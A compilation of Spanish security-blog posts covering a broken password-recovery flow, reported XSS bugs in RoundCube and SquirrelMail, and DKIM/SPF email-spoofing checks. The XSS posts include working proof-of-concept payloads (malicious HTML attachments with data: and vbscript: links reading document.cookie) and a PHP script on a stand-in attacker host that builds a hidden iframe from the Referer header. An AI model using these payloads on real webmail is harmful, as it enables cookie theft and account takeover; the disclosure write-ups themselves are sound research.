Recupera tu contraseña... aunque no sea tuya con un correo inexistente

Son ya camino de veinticinco años ya que comencé a trabajar en seguridad informática. Pasa rápido el tiempo. Y aún me acuerdo de que siempre le decía a mis compañeros y alumnos en mis formaciones una frase que tengo grabada a fuego: "Cuando creas que a nadie se le ocurriría hacer eso piensa que siempre hay alguien al que le ha parecido una gran idea". Esa frase la utilizaba para explicar los métodos más absurdos de seguridad que he visto en mi vida. Y créeme si te digo que he visto muchos métodos absurdos.

Figura 1: Recupera tu contraseña... aunque no sea tuya con un correo inexistente

Hoy he reportado un fallo de seguridad en una web que permitía enumerar todos los usuarios de la plataforma utilizando un comodín al viejo estilo de los ataques de despliegue en Blind LDAP Injection - también en Blind SQL Injection -, de esos que contamos en el libro de Hacking Web Technologies 2ª Edición donde le dedico un buen rato a los ataques LDAP y en el libro de Hacking Web Applications: SQL Injection 4ª Edición.

Figura 2: Libro de Hacking Web Technologies en 0xWord de los autores:
Amador Aparicio, Chema Alonso, Pablo González, Enrique Rando y Ricardo Martín.

/

Y después he mirado a ver si ese mismo truco funcionaba en alguna otra página de recuperación de contraseñas que teníamos en algunos de nuestros proyectos, y "dando una vuelta con el hacking con buscadores", me he topado con uno de los métodos más absurdos para robar credenciales en una web.

Un ejemplo absurdo de recuperación de passwords

Permitidme que no os diga cuál es la web, pues se lo he reportado, pero me flipa cómo alguien puede diseñar un sistema de recuperación de passwords como este. Veréis, en la parte de recuperación de contraseña te pide, inicialmente, solo el nombre de usuario y un captcha. Si no existe, como podéis ver a continuación, da un error.

Figura 3: Usuario no existe. ¿Existirá el admin?

Pero si existe el usuario, te muestra todos lo métodos posibles de recuperación de contraseña. Además, muy educadamente se disculpa. Esto ya me llama la atención un montón, pues al final, te está diciendo qué datos tiene de ese usuario, que yo he probado aleatoriamente con algunos de los más comunes, como "admin". Nada rocket science.

Figura 4: Métodos para recuperar la password del admin.

Se puede "Solicitar Recuperar Contraseña"

Como en este caso no hay nada asociado, solo se puede recuperar por e-mail, así que nada. A probar a ver si ahí se encuentra el leak de enumeración que estoy probando. Pero... mi sorpresa es grande cuando veo que solo me pide el correo electrónico, y no el usuario. Eso es porque el usuario lo he pasado en la pantalla de la Figura 3, así que entiendo que lo que me está pidiendo es el e-mail asociado.

Figura 5: Ponemos un 10 minutes e-mail a ver qué pasas

Pero no, lo que está pidiendo es una dirección de e-mail con un formato de e-mail, y puedes poner cualquiera, que como podéis ver, te va a mandar un código de verificación a esa dirección de e-mail. Así que nada. Un correo electrónico de 10 minutos y a probar. 

Figura 6: Correo para recuperar la contraseña. 

¿Qué vendrá en ese mensaje?

Pues sí, envía el mensaje con el código para recuperar la cuenta. Y ya no hace falta probar nada más. El bug de enumeración es menor comparado con este sistema absurdo de recuperación de contraseñas que no ha pasado una buena auditoría de seguridad.

Figura 7: El código para recuperar la contraseña en el e-mail

Así que, si estás pensando en que a ningún desarrollador se le ocurriría una idea absurda para gestionar la seguridad de los datos de tu empresa, piénsatelo dos veces y haz una buena auditoría de seguridad que te puedes encontrar cualquier cosa.

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  

RoundCube II: Nuevos vectores para ataques XSS (2 de 2)

Tras ver cómo funcionan las URL de tipo "data:" y cómo pueden ser utilizadas en los navegadores, en esta parte toca poner en práctica todo lo visto en un entorno con RoundCube en el que no se hayan solucionado estos bugs. Vamos a ello.

La práctica

Supóngase que se remite a una potencial víctima que utiliza RoundCube un correo con un fichero adjunto.

Figura 3: El correo adjunto visto en RoundCube con un adjunto en formato html

El adjunto “OK.htm” contiene lo siguiente:

Elija su navegador para ver el video:<br>
Select your browser to watch the video:<br>
<br>
<a href='data:text/html,<script>alert(document.cookie)</script>'/>Firefox</a>
<br>
<a href='vbscript:alert(document.cookie)'>Internet Explorer</a>

El atacante debe conseguir que su víctima haga clic sobre el adjunto. Por ejemplo, como aparece en la imagen anterior, con la promesa de encontrar las instrucciones para ver un video. Al abrirlo aparecerá una nueva pantalla:

Figura 4: Visualización del fichero adjunto

Dependiendo del navegador utilizado, el usuario será invitado a hacer clic sobre el enlace que dispara el correspondiente XSS. En el caso actual se trata de Internet Explorer, con lo que haría clic sobre el segundo de ellos y se ejecuta el script.

Figura 5: Ejecución del script en Internet Explorer

En caso de usar Firefox, al hacer clic sobre el primer enlace se produce un resultado similar:

Figura 6: Ejecución del script en Mozilla Firefox

Reflexiones finales

Según los desarrolladores de RoundCube las vulnerabilidades ya han sido resueltas y es de esperar que no aparezcan en las próximas versiones del producto. En todo caso, es muy probable que otros programas de tipo webmail presenten problemas similares, y que en el futuro haya instalaciones de RoundCube sin actualizar, así que si eres un administrador de un webmail quizá quieras realizar alguna prueba…

Enrique Rando

************************************************************************************************
- RoundCube II: Nuevos vectores para ataques XSS (1 de 2)
- RoundCube II: Nuevos vectores para ataques XSS (2 de 2)
************************************************************************************************

RoundCube II: Nuevos vectores para ataques XSS (1 de 2)

Ya hace tiempo publiqué usa serie sobre cómo jugar con un XSS en RoundCube, y como desde entonces he seguido jugando con él, en este artículo os voy a contar alguna cosa más. Hará unas semanas que reporté a los desarrolladores de RoundCube una vulnerabilidad de tipo XSS explotable mediante ficheros SWF. A estas alturas ya cerraron el ticket pero, mientras ellos se entretenían en buscar la solución al problema, yo seguí enredando y probando cosas de las mías.

El resultado es que me encontré con otro par de vulnerabilidades más, también de tipo XSS. Y es que los problemas de seguridad se parecen a las cabezas de la legendaria Hidra: cortas una y le surgen dos nuevas. De modo que hubo que abrir otro ticket

Menos de un día han tardado en dar el tema por cerrado y, la verdad, no dan demasiados detalles al respecto, pero supongo que las próximas versiones de RoundCube ya no presentarán estas vulnerabilidades. Mientras tanto, y por si alguien quisiera comprobar la seguridad de sus sistemas de webmail, ahí va la historia.

La teoría

Antes de mostrar un mensaje o un fichero adjunto, RoundCube se toma el trabajo de analizarlo y eliminar los elementos que pudieran ser utilizados para realizar ataques de XSS. O al menos de aquellos que detecta como tales. Aunque esta medida de seguridad altera el contenido de los mensajes, es imprescindible para intentar mantener un nivel de seguridad adecuado.

Otra modificación que introduce RoundCube es introducir un “target=’_blank’” en los enlaces que aparecen en los mensajes con formato HTML, de modo que sus destinos se abran en una nueva ventana o pestaña.

Ambas cosas pueden dificultar la realización de ataques mediante XSS. Pero no hacerla imposible. Una de las cosas que descubrí hace tiempo es que este sistema de webmail detecta los enlaces cuyo HREF comenzara por “javascript:” y los anula.

Pero Internet Explorer permite realizar scripts no sólo en JavaScript, sino además en Visual Basic Script, y las URLs de tipo “vbscript:” sí estaban permitidas, lo que hace posible la ejecución de código de forma sencilla.

Pero las URLs que comienzan con “javascript:” - y “vbscript” en IE - no son las únicas que pueden causar la ejecución de scripts en el navegador. Unas de las que no se habla tanto y que, al menos en Firefox, pueden servir para este propósitio son las “data:”. Las URLs “data:” se pueden utilizan para insertar directamente, dentro de una página, contenidos que de otro modo habría que obtener de fuentes externas. Por ejemplo, una imagen podría venir dada por:

<IMG SRC="data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/ … … (aquí va un montón de líneas de datos que no se copian por motivos de espacio) … wDfqMVEbscZNR1CaJEKHGd6zalfzRKhQ4z/AModMy1cdLKPNtpkQv8AvG1z+f54zCxsZgRdXTzyF250Hurt5ZCzV//Z ">

La clave está al principio. Con “data:” se indica que no es necesario acceder a otro documento para obtener a la información. Después aparece el tipo MIME para los datos, en este caso “image/jpeg”. Con “;base64” se indica que los datos están codificados en BASE64. Finalmente, una coma (“,”) marca el punto de inicio de los datos. Para más información se puede leer el correspondiente RFC 2397.

Algunos navegadores, como Firefox o Chrome soportan el uso de URLs “data:” en la barra de direcciones y como destino de enlaces. Eso hace posible cosas como:

Figura 1: Mostrando una imagen de Fear the FOCA con una URL data:

O también generar páginas HTML de forma dinámica y sobre la marcha. Por ejemplo, con una URL como:

 data:text/html, <h1> Hola</h1> <script>alert('HOLA')</script> 

Con lo que se obtendría el siguiente resultado:

Figura 2: Un script en una URL data:

Existe una diferencia importante en la forma en que Chrome y Firefox manejan los enlaces a URLs “data:” que crean una nueva página de forma dinámica. Mientras que Chrome no asigna un dominio a la nueva página, Firefox la considera como perteneciente al dominio de la página desde la que fue abierta. Y esto puede significar problemas, como veremos en la segunda parte...

Enrique Rando

************************************************************************************************
- RoundCube II: Nuevos vectores para ataques XSS (1 de 2)
- RoundCube II: Nuevos vectores para ataques XSS (2 de 2)
************************************************************************************************

Explotación del XSS de Squirrelmail usando ficheros adjuntos

Como tras la publicación del post con el XSS de Squirrelmail 1.4.21 quedaron algunas dudas, se ha escrito este artículo para mostrar su funcionamiento en diferentes entornos de ejecución.

Modificación del fichero del servidor

Primeramente se modifica el fichero r.php usado en las pruebas anteriores. El fichero está ubicado en un servidor web llamado “evil.fake”

Contenido de “r.php”
<?php
if (isset($_SERVER['HTTP_REFERER'])) {
$referer= $_SERVER['HTTP_REFERER'];
echo '<h1>' . $referer . '</h1>' ;
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
$url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=2&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=100% height=100%></iframe>';
} else {
echo 'No Referer';
}
?>

Solo se ha cambiado el “ent_id” de la URL que se carga en el IFRAME. Con “ent_id=1” se descarga el cuerpo del mensaje; con “ent_id=2”, su primer adjunto. En las siguientes pruebas, los ficheros “1.txt” y “1.htm” tienen el mismo contenido: <script>alert('XSS')</script>

Ejecución en un entorno con Internet Explorer 8

El usuario recibe el siguiente mensaje:


Figura 1: Mensaje enviado a IE8
El adjunto se llama “1.txt”, un nombre poco sospechoso. Cuando el usuario hace clic en el enlace, el script que contiene se ejecuta:


Figura 2: Ejecución del XSS en IE8

Ejecución en Firefox 3.6.13 sobre Windows

Se recibe el siguiente mensaje:


Figura 3: Mensaje recibido abierto co Firefox
Si se hace clic en el enlace, sale lo siguiente:


Figura 4: El XSS no se ejecuta
No se ejecuta el Script. De hecho, si se invoca directamente la URL del IFRAME:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?mailbox=INBOX&passed_id=4&ent_id=2

se produce el siguiente mensaje:

Figura 5: XSS no ejecutado
Hay una diferencia entre Firefox e IE a la hora de procesar los archivos: IE mira el contenido del documento, determina a qué tipo pertenece (independientemente de su extensión y otras informaciones que pueda tener) y actúa en consecuencia. Esto hace posible la ejecución de un script contenido en un fichero con extensión txt.

Sin embargo, Firefox utiliza la extensión del archivo para determinar su tipo. Si la extensión es txt, simplemente muestra su contenido sin realizar ninguna otra operación.

¿Qué ocurre si la extensión del fichero es htm?


Figura 6: Correo con .html adjunto
Al hacer clic sobre el enlace…


Figura 7: Ahora sí se ejecuta el script
Ejecuión en Firefox 3.6.13 sobre Ubuntu 10.10

En este caso, el archivo “a.htm” ejecuta un “alert(document.cookie).


Figura 8: Correo enviado abierto en Firefox sobre Ubuntu
La URL del mensaje (que está en un marco) es:
http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1


Figura 9: Url en el marco
Si se visita la siguiente URL:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?passed_id=1&mailbox=INBOX&ent_id=2

Entonces…


Figura 10: Script ejecutado
Autor: Enrique Rando

Jugando con un XSS en Squirrelmail 1.4.21

En un servicio hosting gratuito que proporciona servicio webmail con SquirrelMail se abrió una cuenta y se creó un usuario de correo. Se han realizado pruebas sobre otros sistemas con SquirrelMail en distintas versiones y se han obtenido los mismos resultados. Las pruebas, para estos ejemplos se realizaron con Internet Explorer 8. La versión de SquirrelMail en los ejemplos es la 1.4.21.


Figura 1: Squirrelmail 1.4.21 en Internet Explorer 8
Como el correo se abre en un FRAME, se abre el enlace en una nueva pestaña, con objeto de poder ver y modificar las URLs de forma sencilla y, para probar si ejecuta scripts, se envía un correo y se mira si se puede ejecutar JavaScript desde el cuerpo del mensaje:


Figura 2: Visualización fuera de frame y envío de prueba 1
El mensaje se recibe y la URL para verlo es:

http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX
&passed_id=1&startMessage=1

Visitando esta URL no se ejecuta el código JavaScript. Ahora bien, si se visita la siguiente URL para descargarlo:

http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=1&ent_id=1&mailbox=INBOX

Nótese que el passed_id es igual al de la URL del mensaje. Por lo demás, ent_id debe valer 1 y mailbox debe ser INBOX. Se puede comprobar que, al visitar la nueva URL, se ejecutan los tres scripts insertados:


Figura 3: Ejecución de Scripts

El bug puede ser explotado como sigue:

1.- Se crea un mensaje de correo que contenga tags que en una página web causarían la ejecución de uno o varios scripts. Estos tags deberían estar por la parte final del mensaje o en un sitio que no sea fácil de ver para el usuario atacado. En una zona claramente visible, se inserta un enlace a http://sitiomalicioso.example.com. En la siguiente imagen se muestra un ejemplo en la que se ha usado un servidor web instalado en localhost.


Figura 4: Construcción del mensaje de correo electrónico con el ataque
2.- Cuando el usuario recibe el mensaje, la URL se ha convertido en un enlace. Se consigue que el usuario haga clic en él usando, por ejemplo, técnicas de ingeniería social.


Figura 6: Correo enviado a la víctima
3.- Al recibir la visita, sitiomalicioso.example.com analiza la petición y, a través de la cabecera “Referer”, determina la URL correspondiente al mensaje. De ella se obtiene el valor del parámetro passed_id

4.- sitiomalicioso.example.com genera dinámicamente una página que contenga un iframe oculto cuyo src sea:

http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=[valor obtenido en el paso anterior]&ent_id=1&mailbox=INBOX

El siguiente código podría ser usado para esta tarea:

<?php
$referer= $_SERVER['HTTP_REFERER'];
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
     $url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=1&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=0 height=0 ></iframe>';
?>

5.- El usuario recibe la página. Entonces el IFRAME carga la URL y el script se ejecuta.


Figura 6: Script en ejecución
NOTA: Si SquirrelMail funciona sobre https, sitiomalicioso.example.com debería soportar https y tener un certificado válido. En otro caso, no se enviaría la cabecera “Referer”. El enlace del cuerpo del mensaje debería llevar a https:// sitiomalicioso.example.com

Autor: Enrique Rando

Una imagen vale más que mil palabras

Especialmente cuando las mil palabras ocupan tanto como la publicidad que mete Gmail en su interfaz de lectura de correo en Gmail.

Hace mucho tiempo que soy usuario de Hotmail y he de confesar que nunca me acabé de adaptar a Gmail. El sistema de tags me parece muy "modelno", pero yo quiero ver mis carpeticas y no puedo. Tampoco puedo ver la bandeja de entrada en un modo clásico, es decir, cada correo como un ente y no como una conversación. Sé que a alguno le gusta mucho eso, pero yo sigo prefiriendo en sistema clásico o, a ser posible, elegir uno u otro.

Sin embargo, una de las quejas más reiterativas con Hotmail es el banner publicitario del interfaz web para esos entornos donde no se ha instalado Windows Live Mail, el gestor de correo gratuito de Windows Live Essentials.


Windows Live Desktop
¿Y por qué la queja? Pues generalmente porque es una pedazo de imagen enorme. Ayer estando en Spectra tuve esta misma conversación y yo dije: "No sé, de verdad, yo creo que Gmail es más pesado que una vaca en brazos con la publicidad. Es grande está por todas partes". Todos me miraron extrañados, porque parece que la percepción popular de la gente es que la publicidad e Gmail es muy pequeña y no se ve. Nada más lejos de la realidad, es más grande y está por más sitios que la de Hotmail.

En la siguiente imagen he capturado la lectura de dos mails, uno con hotmail y su publicidad y otro con Gmail y sus ads. Como se puede ver Gmail coge mucho más espacio para meter sus "1.000 palabras" y, además, toma espacio en el centro del interfaz para taladrar tu mente con más anuncios.

Sin embargo, la publicidad de Hotmail es mucho más sincera con el usuario, mucho menos sibilina con tu mente, y está claramente localizada a la derecha del interfaz. Es más fácil defenderse de ella que de la que crees que no ves en medio del correo.


Comparativa visual de publicidad entre Gmail y Hotmail
¿Seguro que te molesta más la imagen publicitaria de Hotmail que el texto? Muchas de las críticas en la publicidad de Hotmail venían justo por poner publicidad al final de los correos en una línea de texto y, tras comprobar que a los usuarios les molestaba, se ha decidido quitar. ¿Es mejor texto por todas partes publicitario o el banner?

Saludos Malignos!

Gira Summer of Security en Vídeo

Durante el mes de Junio y Julio la Gira Summer of Security visitó cuatro ciudades: Bilbao, Vigo, Barcelona y Valencia. En la ciudad de Leioa, cerca de Bilbao, la gente de la EHU tuvo a bien grabar la sesión en video. ¡Gracias! Aquí os dejo las dispositivas y los videos de la sesión grabados.

[SOS 2009] D-Link: Red Segura L2 L3

View more documents from chemai64.

[SOS 2009] Smart Access: Tu DNIe en tu AD

View more presentations from chemai64.

[SOS 2009] Microsoft Technet: TMG Preview Técnico

View more presentations from chemai64.

[SOS 2009] Quest Software: Integracion Unix/Linux/Mac en el AD

View more presentations from chemai64.

[SOS 2009] Informatica64: Hay una carta para ti

View more presentations from chemai64.

Saludos Malignos!

Gmail y el Antiphising

Hace poco leía una noticia con el siguiente titular: "Gmail sigue mejorando: ahora es capaz de protegernos contra el phishing" y me dejaba sorprendido: "¡Vaya!, ¿pero no habíamos quedado ya que Gmail era perfecto y que por eso había salido ya de beta?". La realidad tras el titular de la noticia es una cosa que me ha impactado por varios motivos que os paso a desgranar.

Eso sólo DKIM

Tan sólo y tan tanto. DKIM es una buena solución para garantizar la autenticidad del correo mediante una firma asociada a cada mensaje realizada por el servidor de correo saliente del dominio. El funcionamiento ya lo he explicado anteriormente. Cuando sale el correo por el servidor de correo saliente, este lo firma y añade una cabecera con el la firma y la clave que ha utilizado. El servidor que recibe el correo, en este caso Gmail, se va al DNS y busca la clave publica del servidor que firmo en el registro nombredeclave._domainkey.remitentente.com. Verifica que la firma está ok y listo.

Gmail ya hacía esto antes y mostraba un pequeño texto cuando se muestran los detalles que dice "Firmado por" si el mensaje viene por DKIM, pero no daba ninguna alerta visual al usuario fácil de ver. Sin embargo, se puede ver siempre la información en la cabecera SMTP.

Es sólo para Ebay y Paypal

Según el anuncio es sólo para los mails que vienen de los dominios de Ebay y Paypal y cuando se activa esta protección en Configuración/Labs se especifica que la protección será sólo para ellos.


Configuración Antiphising
La gracia de DKIM está en que se debe comprobar la política en el DNS para saber que hay que hacer con los correos que no vienen firmados. En este caso concreto me llama más la atención porque:

- Paypal tiene política Hardfail, es decir, que todos los correos que vengan de un dominio paypal.com sin firmar con DKIM deben ser eliminados. Sin embargo, la política que tienen en el SPF es Softfail, lo que quiere decir es que no deben ser eliminados, y sólo se le debe advertir al usuario. Esto es totalmente incongruente.


Política DKIM y SPF de Paypal
- Ebay tiene política Softfail en DKIM y, además, está en modo test (t=y), con lo que los correos que no vengan firmados sólo deben ser marcados, pero deben entregarse al cliente.


Política DKIM de Ebay
El icono

El resultado es "EL ICONO" que deberían llevar todos los correos firmados por DKIM no sólo los de Ebay y Paypal. Este icono es el mismo que pone Yahoo a todos los correos firmados (incluidos los de ebay y paypal) y que yo llevo pidiendo.


Icóno en correo firmado en Yahoo.com
El resultado es un iconito que de forma visual te advierte de que se ha comprobado la firma DKIM. La pregunta es ... ¿por qué sólo para Ebay y Paypal? Yahoo! es el creador de la idea y todos sus correos van firmados...¿por qué no avisar de la autenticidad de los correos que vienen firmados desde Yahoo! con un icono?


Correo firmado con dkim desde Ebay
¿Y el SPF?

¿Realmente se está tomando en serio Gmail la protección anti-phising? Yo creo que si lo está haciendo lo está haciendo mal. Cuando una organización utiliza el registro SPF para marcar los servidores autorizados para enviar correos Gmail debería hacer caso a la política.. y no lo hace.

Para esta prueba me he hecho un mail de phising suplantando al dominio Cajamar.es, que tiene creado un registro SPF con política Hardfail. Esto indica que si llega un correo que no venga de una de las IPs autorizadas, en este caso las de los registros MX, deberá ser eliminado.


Configuración SPF de cajamar.es
Sorprendentemete, a pesar de que se ve a la legua que es un correo de Phising (y con un poquito de Viagra) el mensaje llega a la Bandeja de Entrada sin ninguna alerta.


¿Es o no para bloquear este correo?
Conclusión

Mi conclusión es que Gmail debería seguir en beta unos añitos más...como el resto y que debería 1)Aplicar la políca SPF que marca el dominio del remitente 2) Mostrar el icono a todos los que vengan firmados y 3) Mostrar los iconos de alerta negativa y alerta positiva para los que cumplan y no cumplan las políticas SPF.

Saludos Malignos!

La gira en directo

Hola a tod@s,

la sesión de la Gira Summer of Security de hoy en Leioa está siendo retransmitida en directo por la Universidad del País Vasco, si queréis verla podéis hacerlo en la siguiente URL:

http://ehutb.ehu.es/es/directo/1.html

La agenda es la siguiente:

09:45 - 10:30 D-Link: Swithching [NAP,ARP-Spoofing, Hardening]

10:30 - 11:15 SmartAccess: e-DNI en AD

11:15 - 11:45 Café

11:45 - 12:30 Spectra (& Chema): TMG

12:30 - 13:15 Quest Software : Tu MAC y Tu Linux en el AD

13:15 - 14:00 Informática64 : Hay una carta para tí

Saludos Malignos!

¿Por qué mis correos llegan como Spam?

Esta es una de las preguntas que más me hacen siempre que hablo de algo que tiene que ver con correo electrónico. Tiempo ha me hicieron escribir una lista de medidas para mejorar los resultados en los motores antispam de los correos electrónicos legítimos emitidos por una empresa. Aunque no son todas las medidas que se pueden aplicar, ésta es una buena lista de precauciones.

Muchas de las verificaciones que se realizan para validar o no un correo se realizan sobre la dirección IP del servidor utilizado para enviar el correo electrónico, para tener una IP cuidada es recomendable.

1.- Marca las IP de los servidores autorizados para enviar correo en tu dominico con el registro SPF en el DNS. Esto hará que las comprobaciones del registro SPF de Sender Policy Framework y Sender ID sean positivas.

2.- Comprueba que tus IPs no estén en listas RBL (Real-time Blackhole List). Si tu IP cae en una de estas listas muchos de los servidores no aceptarán tus correos. Ten siempre una IP de backup limpia e intenta, cuando caiga, sacarla de todas las listas. Muchas se alimentan las unas de las otras, así que revisa todas.

3.- No compartas la IP con varios dominios si es posible y menos si no los controlas tú, ya que la IP pude caer en una RBL tanto por mal uso de tu dominio como por mal uso de cualquier otro.

4.-Ten la IP a nombre de tu empresa e intenta controlar los registros PTR. Algunos filtros comprueban el valor del registro PTR en el DNS para autenticar el nivel.

5.- Actualiza el software y configúralo de forma segura. Los filtros de reputación realizan comprobaciones reversas para ver si está mal configurado el servidor y puede ser víctima de los spammers. Si es así, no admiten correos de tu dominio.

6.- Firma digitalmente tus correos con DKIM para que se puedan autenticar el dominio del emisor aquellos dominios que hagan uso de él.

7.- Evita correos con múltiples destinatarios o contigo mismo en el destinatario, eso suele hacer subir el SCL (Spam Confidence Level) del correo.

8.- Usa antivirus en el correo saliente. Si un usuario de tu red queda infectado puede intentar infectar a otros mediante el envío del malware por correo electrónico. Si un dominio detecta que le llega malware de tu dominio meterá tu IP en las RBLs.

9.- Si tu correo sale por la misma IP que por la que sale, es decir, si el MX y el SPF son iguales, aunque es peor para la redundancia de seguridad, es mejor para aumentar el alcance de los correos, ya que alguno aún utiliza como comprobación el filtro de Reverse MX Lookup.

10.- Y la más importante... no seas spammer y haz un uso correcto del correo electrónico.

Saludos Malignos!

Correos falseados en Yahoo.com, Gmail.com y Hotmail.com (V de V)

**********************************************************************************************
- Correos falseados en Yahoo!, Gmail y Hotmail (I de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (II de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (III de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (IV de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (V de V)
**********************************************************************************************

Comprobaciones para saber si un correo es legítimo o no

La pregunta que uno se puede realizar es … ¿por qué no se utilizan todas las medidas disponibles? Supongo que es el eterno problema de balance entre seguridad y carga de trabajo, porque si no, no parece demasiado lógico.

Teniendo en cuenta que todas las cabeceras SMTP pueden ser comprobadas desde los interfaces web de Gmail, Hotmail y Yahoo!, el siguiente es un árbol de decisión que se puede aplicar para decidir si un correo recibido es o no legítimo. Hay que tener presente que se tiene como base supuesta que:

A) No hay un bug de DNS como el descrito por Kaminsky.
B) Realizar IP Spoofing hoy en día en consultas al DNS en Internet es difícil.
C) La conexión es desde una red segura sin MITM.

Si esos condicionantes se dan en tu situación, entonces es posible realizar el siguiente algoritmo para obtener más y mejor información sobre la legitimidad de un correo electrónico.

PRIMERO: Comprobación de DKIM

A) Si el correo viene firmado con DKIM y está comprobado deberemos tomar el correo como Legítimo.

     - Yahoo!: Se hace automáticamente y pone un icono de autenticado.

     - Gmail: Realiza la comprobación pero sólo aparecen en la cabecera SMTP y no en el interfaz web. Hay que comprobar que la firma DKIM aparezca como autenticada.

     - Hotmail: no realiza la comprobación DKIM por lo que en la cabecera SMTP aparecerá la cabecera DKIM pero hay que hacer la comprobación de la firma manualmente (Poco divertido).

B) Si no viene firmado se debe comprobar la política del servidor DNS de la organización respecto a DKIM comprobando si existe política de fallo respecto a DNS, es decir, si en el registro _domainkey.dominio.com aparece la opción o=–.

     a. Si aparece la opción o=– entonces el correo deberá ser tomado como Ilegítimo.

     b. Si no aparece la opción o=– porque o no hay política, como en el caso de Gmail, o aparece la opción o=~, se debería pasar al paso SEGUNDO.

SEGUNDO: Comprobación de firma SPF

Se comprueba el registro SPF del dominio del remitente.

A) Si este tiene registro SPF se comprueba la dirección del servidor de envío contra la lista de IPS permitidas por el registro SPF y la política spf de comprobación: spf1 - spf2/mfrom - spf2/mfrom,pra - spf2/pra.

     a. Si la IP cumple y los valores del remitente o del pra entonces se marca el correo como Legítimo.

          - Hotmail lo pone en la bandeja de entrada sin alertas.

          - Gmail hace la comprobación pero sólo se puede ver en la cabecera SMTP del correo.

          - Yahoo! no hace la comprobación y habría que realizarla manualmente (poco divertido).

     b. Si no, se comprueba la política de fail o softfail:

          - -all: Se debería marca como Ilegítimo.

               - Hotmail lo hace automáticamente y el correo llega con alerta roja a la carpeta de SPAM

               - Gmail lo comprueba pero sólo se puede ver en la cabecera SMTP.

               - Yahoo! no lo comprueba.

          - ~all: Se debería marcar como Dudoso.

               - Hotmail lo pone con una alerta en amarillo en la carpeta de correo no deseado.

               - Gmail lo comprueba y se puede ver en la cabecera SMTP solamente.

               - Yahoo! no lo comprueba.

B) Si no tiene registro SPF se comprueban los valores MX del dominio del remitente. Esta comprobación no es realizada ni por Yahoo!, ni Hotmail ni por Gmail y dejan recaer el resto de alertas en filtros antispam.

     a. Si la IP del servidor que ha entregado el mail es una de los intercambiadores de correo, entonces el correo se marca como Legítimo.

     b. Si la IP no es una de los servidores MX entonces se marca como Dudoso.

Toda esta lógica de detección de correos legítimos o no legítimos ayuda a valorar mejor la autenticidad de los remitentes de correos electrónicos en aquellos entornos en los que no se utilizan firmas digitales. Hay que recordar que el uso de S/MIME o PGP es mucha mejor garantía para comprobar el remitente de un correo. Estos sistemas descritos en este artículo, basados en dirección IP de los servidores, no muestran ninguna diferencia cuando hay servidores vulnerados o mal configurados que pueden ser utilizados por atacantes externos o internos de la red para suplantar remitentes.

Por último, me gustaría recordar que, independientemente que uses o no este método, debes tomar como falsos todos los correos que se suponga que has enviado tú y no lo hayas hecho.

Saludos Malignos!

**********************************************************************************************
- Correos falseados en Yahoo!, Gmail y Hotmail (I de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (II de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (III de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (IV de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (V de V)
**********************************************************************************************

Correos falseados en Yahoo.com, Gmail.com y Hotmail.com (IV de V)

**********************************************************************************************
- Correos falseados en Yahoo!, Gmail y Hotmail (I de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (II de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (III de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (IV de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (V de V)
**********************************************************************************************

El último de los correos web analizados en este artículo es el de Yahoo! El sistema por el que apuesta este servicio está basado en el uso de DKIM. Para ello, como se vio en la tercera parte de esta serie, Yahoo! publica las claves públicas con las que los servidores firman los correos legítimos que salen de ellos. Por otro lado, como ya se vio en la primera parte, Yahoo! no tiene tan siquiera configurado el registro SPF en los servidores DNS. Conociendo esta configuración inicial, los resultados con las pruebas son los siguientes.

Yahoo! recibe un correo electrónico de una cuenta legítima de Yahoo.com

En este caso, el correo aparece firmado por uno de los servidores de Yahoo! utilizando una cabecera DKIM. Yahoo! lo comprueba y le muestra al usuario una alerta positiva, garantizando la veracidad de procedencia de este correo. Éste es el único de los tres sistemas de correo que muestra alertas positivas en los correos recibidos garantizando las pruebas que se han realizado.


En la bandeja de entrado y con alerta positiva
Yahoo! recibiendo un correo electrónico falso desde un dominio Yahoo.com

Como es de suponer, este correo no llega firmado por ningún servidor, por lo que no puede comprobar ninguna firma DKIM. Sin embargo, la política de Yahoo! es no mostrar ninguna alerta negativa.


Sin alerta a la bandeja de entrada
